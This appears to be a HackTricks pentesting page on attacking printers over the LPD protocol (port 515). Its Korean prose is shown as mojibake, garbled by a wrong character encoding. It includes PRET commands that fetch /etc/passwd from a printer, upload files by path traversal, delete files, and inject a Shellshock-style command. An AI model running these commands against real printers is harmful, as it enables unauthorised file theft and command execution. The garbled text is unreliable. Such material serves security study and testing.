Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

LPD ν”„λ‘œν† μ½œ μ†Œκ°œ

1980λ…„λŒ€μ— Line Printer Daemon (LPD) ν”„λ‘œν† μ½œμ΄ Berkeley Unixμ—μ„œ κ°œλ°œλ˜μ—ˆμœΌλ©°, 이후 RFC1179λ₯Ό 톡해 κ³΅μ‹ν™”λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 이 ν”„λ‘œν† μ½œμ€ 포트 515/tcpλ₯Ό 톡해 μž‘λ™ν•˜λ©°, lpr λͺ…λ Ήμ–΄λ₯Ό 톡해 μƒν˜Έμž‘μš©μ„ ν—ˆμš©ν•©λ‹ˆλ‹€. LPDλ₯Ό ν†΅ν•œ μΈμ‡„μ˜ λ³Έμ§ˆμ€ μ œμ–΄ 파일(μž‘μ—… 세뢀정보 및 μ‚¬μš©μž μ§€μ •)κ³Ό 데이터 파일(인쇄 정보λ₯Ό 포함) 전솑을 ν¬ν•¨ν•©λ‹ˆλ‹€. μ œμ–΄ νŒŒμΌμ€ 데이터 νŒŒμΌμ— λŒ€ν•œ λ‹€μ–‘ν•œ 파일 ν˜•μ‹ 선택을 ν—ˆμš©ν•˜μ§€λ§Œ, μ΄λŸ¬ν•œ 파일의 μ²˜λ¦¬λŠ” νŠΉμ • LPD κ΅¬ν˜„μ— 따라 κ²°μ •λ©λ‹ˆλ‹€. Unix μœ μ‚¬ μ‹œμŠ€ν…œμ— λŒ€ν•œ 널리 μ•Œλ €μ§„ κ΅¬ν˜„μ€ LPRngμž…λ‹ˆλ‹€. 특히, LPD ν”„λ‘œν† μ½œμ€ μ•…μ„± PostScript λ˜λŠ” PJL 인쇄 μž‘μ—…μ„ μ‹€ν–‰ν•˜λŠ” 데 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

LPD 프린터와 μƒν˜Έμž‘μš©ν•˜κΈ° μœ„ν•œ 도ꡬ

PRETλŠ” lpdprint와 lpdtestλΌλŠ” 두 κ°€μ§€ ν•„μˆ˜ 도ꡬλ₯Ό μ†Œκ°œν•˜λ©°, LPD ν˜Έν™˜ 프린터와 μƒν˜Έμž‘μš©ν•˜λŠ” κ°„λ‹¨ν•œ 방법을 μ œκ³΅ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ„κ΅¬λŠ” 데이터λ₯Ό μΈμ‡„ν•˜λŠ” 것뢀터 ν”„λ¦°ν„°μ—μ„œ νŒŒμΌμ„ μ‘°μž‘ν•˜λŠ” 것(λ‹€μš΄λ‘œλ“œ, μ—…λ‘œλ“œ λ˜λŠ” μ‚­μ œ λ“±)κΉŒμ§€ λ‹€μ–‘ν•œ μž‘μ—…μ„ κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€.

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

ν”„λ¦°ν„° 해킹에 관심이 μžˆλŠ” κ°œμΈμ„ μœ„ν•΄ 포괄적인 λ¦¬μ†ŒμŠ€λ₯Ό μ—¬κΈ°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: Hacking Printers.

Shodan

  • port 515

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°